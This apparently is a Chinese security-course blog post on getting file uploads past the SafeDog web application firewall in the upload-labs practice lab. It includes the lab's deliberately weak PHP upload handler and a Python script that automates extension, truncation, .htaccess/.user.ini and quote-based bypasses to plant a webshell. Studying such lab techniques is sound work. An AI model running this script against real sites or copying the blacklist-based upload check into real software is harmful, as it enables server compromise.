【小迪安全】Day24web漏洞-文件上传漏洞之WAF绕过

最新推荐文章于 2023-11-30 11:01:12 发布
最新推荐文章于 2023-11-30 11:01:12 发布
阅读量384 收藏
点赞数
分类专栏： 小迪安全 渗透测试 文章标签： 安全 web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44312640/article/details/127748396
版权

web漏洞-文件上传漏洞之WAF绕过

文章目录

前言

​ 上篇文章【小迪安全】Day18-23web漏洞-文件上传介绍了文件上传漏洞基本类型，这次介绍文件上传漏洞的WAF绕过方法。

绕过安全狗

缓存溢出-加垃圾数据(经手动测试，此方法已经失效)

​ 主要方法是在Content-Disposition参数后面加一堆垃圾数据测试安全狗能不能顶的住，经测试这个方法已经失效了。

符号变异

​ 主要测试思路是用"截断文件名，看是否能绕过安全狗。

数据截断-防匹配(%00 ; 换行；/)(经手动测试，不行了，不排除fuzz测试时可以的可能性)

​ 一个思路，只要不让安全狗匹配到.php即可。%00要求版本太低了，这边不测试了。

重复数据-参数多次(经测试，已经失效)

​ 主要就是借用类似url参数污染的机制看能不能绕过安全狗的检查。

fuzz测试

​ 测试思路和SQL注入绕过测试思路一致，先确定是什么原因导致的被拦截，再通过一些特殊的字符等绕过拦截原因。以upload-labs靶场的第6关举例，此关卡正常使用后缀名大小写即可绕过。测试一下加了安全狗后应该怎么绕过。

抓一下正常的数据包
判断拦截原因

​ 测试了1.php、1.3php、1.php.png、1php.png四个名字，可以发现安全狗是匹配到.php字符串做的拦截。

fuzz爆破

​ 经测试，upload-labs靶场使用爆破模块什么变量都有可能绕过去，但是实际repeater模块重新测试又不行了，可能是安全狗对upload-labs靶场做了动作，也可能是快速重复请求绕过去了？我模仿upload-labs的写了个脚本测试，主要去掉了页眉页脚,pass-xx等标识信息，结果是一致的，基本确定是连续请求绕过了安全狗的拦截，太暴力了，感觉没什么用。而在后缀名前面加特殊字符的方法，除了双引号和单引号，其它字符基本没用。

​

​ 模仿写个脚本确定原因

<?php
include 'config.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
		$file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
		
		echo "此处打印_FILES['upload_file']['name']<br>";
		echo $_FILES['upload_file']['name'];

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传一个<code>webshell</code>到服务器。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片：<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示：".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        #echo '<img src="'.$img_path.'" width="250px" />';
						echo "上传成功啦";
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

使用字典

​ fuzz爆破当然也可以使用字典，使用方法这边就不演示了。字典可以在github上面找https://github.com/TheKingOfDuck/fuzzDicts之类的。

编写脚本

​ 经过上述测试，我们使用双引号绕过的方法来编写脚本，基础脚本在上篇文章【小迪安全】Day18-23web漏洞-文件上传已经写好了，这里加个开关就好了。

import requests
from urllib3.fields import RequestField
from urllib3 import encode_multipart_formdata


# 是否绕过安全狗开关
pass_dog_flag = True
pass_str = ""
if pass_dog_flag:
  pass_str = "\""

# 挂个代理方便使用burp抓包分析
proxies = {'http': 'http://127.0.0.1:8888'}

pass_num_str = "09"
url = "http://localhost:8084/Pass-"+pass_num_str+"/index.php"

# boundary='---------------------------29377857821120'

def strSort(words):
    tempword = words
    for i in range(2**len(words)):
        int_bin = str(bin(i)).replace("0b","")
        for i in range(len(words)-len(int_bin)):
            int_bin = "".join(("0",int_bin))
        for index, i in enumerate(int_bin):
            if i=='1':
                wordslst = list(words)
                wordslst[index] = wordslst[index].upper()
                words = "".join(wordslst)
        yield words
        words = tempword

def getFiledList( mime, fileName, filePath):
  heards_upload_file = {
    "Content-Disposition": 'form-data; name="%s"; filename="%s"' % ("upload_file", fileName),
    "Content-Type": mime,
  }
  heards_submit = {
    "Content-Disposition": 'form-data; name="%s"' % ("submit"),
  }

  upload_file_field = RequestField("upload_file", open(filePath, 'rb').read(), None, heards_upload_file)
  submit_field = RequestField("submit", "上传", None, heards_submit)
  field_list = [upload_file_field, submit_field]
  return field_list

def getBodyAndHeader(mime="application/octet-stream", fileName="test.php", filePath="D:\\test.php"):

  field_list = getFiledList(mime=mime, fileName=pass_str+fileName, filePath=filePath)
  body, content_type = encode_multipart_formdata(field_list)
  
  header = {
    "Host":"localhost:8084",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", 
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding":"gzip, deflate",
    "Referer":"http://localhost:8084/Pass-03/index.php",
    "DNT":"1",
    "Connection":"close",
    "Upgrade-Insecure-Requests":"1",
    "Content-Type":content_type,
    # "Content-Type":"multipart/form-data; boundary="+m[1],
  }
  return body, header

def scan_orign():
  print("---开始检查原始的请求---")
  body,header = getBodyAndHeader()
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_mime(allowMime="image/png"):
  print("---开始检查mime---")
  body,header = getBodyAndHeader(mime=allowMime)
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_00():
  print("---开始扫描%00截断---")
  body,header = getBodyAndHeader(fileName="test"+pass_num_str+".php%00.png")
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_php_other_name():
  print("---开始扫描php别名---")
  php_other_name_list = ["php3", "php5" , "phtml"]
  for item in php_other_name_list:
    body,header = getBodyAndHeader(fileName="test"+pass_num_str+"."+item)
    response = requests.post(url, data=body, proxies=proxies, headers=header)
    text = response.text
    if response.status_code==200:
      print("php别名%s返回网页长度:%s" % (item, len(text)))
    else:
      print("请求出错!!!")

def scan_point():
  print("---开始扫描点绕过---")
  point_list = [".", ". ", ". ."]
  for item in point_list:
    body,header = getBodyAndHeader(fileName="test"+pass_num_str+".php"+item)
    response = requests.post(url, data=body, proxies=proxies, headers=header)
    text = response.text
    if response.status_code==200:
      print("扫描点绕过"+item+"返回网页长度:%s" % (len(text)))
    else:
      print("请求出错!!!")

def scan_space():
  print("---开始扫描空格绕过---")
  body,header = getBodyAndHeader(fileName="test"+pass_num_str+".php ")
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_data():
  print("---开始扫描$DATA绕过---")
  body,header = getBodyAndHeader(fileName="test"+pass_num_str+".php::$DATA")
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_duble_suffix():
  print("---开始扫描双后缀名绕过---")
  body,header = getBodyAndHeader(fileName="test"+pass_num_str+".phpphp")
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")
  
def scan_htaccess():
  print("---开始扫描htaccess绕过---")
  body,header = getBodyAndHeader(fileName=".htaccess", filePath="D:\\.htaccess")
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_userini():
  print("---开始扫描.user.ini绕过---")
  body,header = getBodyAndHeader(fileName=".user.ini", filePath="D:\\.user.ini")
  response = requests.post(url, data=body, proxies=proxies, headers=header)
  text = response.text
  if response.status_code==200:
    print("返回网页长度:%s" % (len(text)))
  else:
    print("请求出错!!!")

def scan_suffix_case():
  print("---开始扫描后缀大小写绕过---")
  for item in strSort("php"):
    body,header = getBodyAndHeader(fileName="test"+pass_num_str+"."+item)
    response = requests.post(url, data=body, proxies=proxies, headers=header)
    text = response.text
    if response.status_code==200:
      print("扫描后缀大小写%s网页长度:%s" % (item, len(text)))
    else:
      print("请求出错!!!")


def scan_all(url):
  scan_orign()
  scan_mime()
  scan_00()
  scan_php_other_name()
  scan_point()
  scan_space()
  scan_data()
  scan_duble_suffix()
  scan_htaccess()
  scan_userini()
  scan_suffix_case()

def run(url):
  scan_all(url)

if __name__ == '__main__':
    run(url)
楓椛
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
＜小迪安全＞21-文件上传漏洞之后端黑白名单绕过
hackerXxxt的博客
03-20 176
文件上传常见验证：后缀名，类型，文件头等后缀名：黑名单，白名单文件内容：MIME信息文件头：文件头信息黑名单：明确不让上传的格式后缀当黑名单后缀名不完整，可以通过其他后缀名达到相同的效果php5，Phtml白名单：明确可以上传的格式后缀。
小迪安全03 - 文件上传漏洞绕过方法
zerolea的博客
04-15 3064
1. 前端： JS检测绕过： 前端网页JS对文件格式进行验证： //JS验证文件后缀名 <script type="text/javascript"> function selectFile(fnUpload) { var filename = fnUpload.value; //过substr获取文件名最后一个点好后面的后缀（包括点号）进行判断 var mime = filename.toLowerCase().substr(filename.lastInd
＜小迪安全＞-文件上传之WAF绕过及安全修复
hackerXxxt的博客
03-23 178
：有的检测可能是基于单引号和双引号来获取数据，可以修改单引号或双引号的位置或增加删除单双引号来干扰waf。Payload : 大量垃圾数据缓冲溢出(Ccontent-Disposition,filename等)数据溢出-防匹配(xxx...) :就是在关键点前面写入大量的无用数据来干扰对后面主要数据的检测。自定义函数过滤:function check_file(){ }Content-Type:文件MIME，视情况更改。WAF防护产品:宝塔,云盾,安全公司产品等。内容检测:文件头，完整性检测。
实战绕过WTS-WAF的SQL注入
剁椒鱼头没剁椒的博客
02-12 5136
本人在做完测试了，所保留的信息均已删除且未保留，只是友好的测试，并非有意为之。若侵权请联系我进行删帖。其实这个网站主要的困难就是需要绕WAF，通常想这类的WAF在百度搜一搜都会有相关的绕过方式的。
【WAF Bypass】文件上传绕过waf姿势总结
m0_46103905的博客
06-01 1760
总结了文件上传绕waf的一些姿势，以及针对网站安全狗进行了实战演练。
文件上传—WAF拦截的绕过方式
qq_56228347的博客
11-24 2909
文件上传—WAF拦截的绕过方式
第24天：WEB漏洞-文件上传之WAF绕过及安全修复1
08-03
Content-Disposition：一般可更改name：表单参数值，不能更改filename：文件名，可以更改Content-Type：文件 MIME，视情
第28天：WEB漏洞-XSS跨站之WAF绕过及安全修复1
08-03
WEB 漏洞-XSS 跨站之 WAF 绕过及安全修复#常规 WAF 绕过思路标签语法替换特殊符号干扰提交方式更改垃圾数据溢出加密解密算法结合其他漏洞绕过#自动化
2022年文件上传漏洞绕过姿势整理，过waf版
11-20
2022年文件上传漏洞绕过姿势整理，过waf版，绕过思路：对文件的内容，数据。数据包进行处理。2.通过替换大小写来进行绕过
第18天：WEB漏洞-SQL注入之堆叠及WAF绕过注入1
08-03
WEB 漏洞-SQL 注入之堆叠及 WAF 绕过注入 SQL 注入是一种常见的 WEB 漏洞攻击方式，通过将恶意 SQL 语句嵌入到 Web 应用程序的输入参数中，从而访问、修改或控制数据库的数据。堆叠注入（Stacked Injections）是 ...
软WAF上传绕过+wbehshell免杀-漏洞银行大咖面对面9-ian
07-31
通过对软WAF上传绕过以及WebShell免杀技巧的深入探讨，我们可以看到，尽管Web应用防火墙提供了一层安全防护，但攻击者仍然可以通过精心设计的方法来绕过这些防护措施。因此，对于开发者而言，加强应用自身的安全性至...
实战SQL注入绕过WTS-WAF
m0_51750962的博客
10-01 601
SQL注入绕过wts-waf
WAF绕过之文件上传
Williamanddog的博客
02-05 1187
我们上传1.txt文件，抓包修改content-type为：application/octet-stream。那我们通过hackbar来验证，利用免杀一句话木马成功执行命令。接下来我们在判断是否是通过content-type来进行拦截。修改了1.txt的content-type也可以成功上传。所以可以判断，WAF是根据文件名后缀来进行拦截的。我们在请求包中插入足够多的无用数据，成功上传。但是我们并不知道waf拦截我们的机制。我们访问上传的一句话木马被拦截。我们上传一个一句话木马，被拦截。
waf绕过方法总结
gugonggugong的博客
12-30 2876
一、WAF防护原理 1. bypass 客户端JavaScript校验；服务器校验；文件内容头字段、编码校验；后缀名黑名单校验；自定义正则校验；waf设备校验； 有些waf不会防asp/php/jsp后缀文件，但是他会检测里面的文件； WTS-WAF bypass ; baidu colud bypass; aliyun waf; 安全狗上传bypass；云锁上传bypass； 2. defense ...
文件上传之，waf绕过（24）
san3144393495的博客
05-20 1518
前期upload第二关的时候，判断的方式就是mime的类型的绕过，绕过miem是图片类型就可以上传，没有验证后缀，这是代码的判断，我们在来探针一下防护软件是怎么判断的，现在第二关上传一个图片上去，抓住数据包，mime满足就可以上传，所以把上传的文件名字改成php格式，本来这是可以正常上传成功的。mime可以作为一个验证条件，验证mime来判断你个文件一个合法性的时候，可以通过更改mime来达到一个伪造，比如上传一个php文件，这时候可以更改为图片类来尝试绕过mime验证。
文件上传——WAF的基础绕过
mingyqf的博客
04-20 1833
[文件上传——WAF的基础绕过 ] 原文链接：(https://www.cnblogs.com/-chenxs/p/12324425.html) 方法分类： 1、HTTP参数污染绕过 2、HTTP Header头部欺骗绕过 3、HTTP参数溢出绕过 4、HTTP分块传输绕过 5、HTTP数据编码绕过 6、HTTP Pipline绕过(Keep-alive) 7、HTTP协议未覆盖绕过 8、HTTP畸形包绕过 9、HTTP组合绕过 0x01 HTTP参数污染绕过 HTTP参数污染简称HPP 由于http协议允
毕业一年，从事运维感觉没有出路，如何转型更有前景？
Python_0011的博客
07-08 690
网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
最全的文件上传漏洞之WAF拦截绕过总结
mingyqf的博客
03-23 3276
https://cloud.tencent.com/developer/article/1944142
干货 | 最全的文件上传漏洞之WAF拦截绕过总结
最新发布
2301_81250923的博客
11-30 793
boundray字符串的值可以为任何数据（有一定的长度限制），当长度达到WAF无法处理时，而Web服务器又能够处理，那么就可以绕过WAF上传文件。了解了WAF如何对恶意文件进行拦截之后，我将常见的绕过方法分为如下几类，最后再使用目前最新版的安全狗进行绕过演示。最后上传的文件是shell.php而非shell.jpg，但是如果取的文件名时只取了第一个就会被Bypass。POST请求头的值（不是请求头）是可以换行的，但是中间不得有空行。目前，市面上常见的是解析文件名，少数WAF是解析文件内容，比如长亭。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值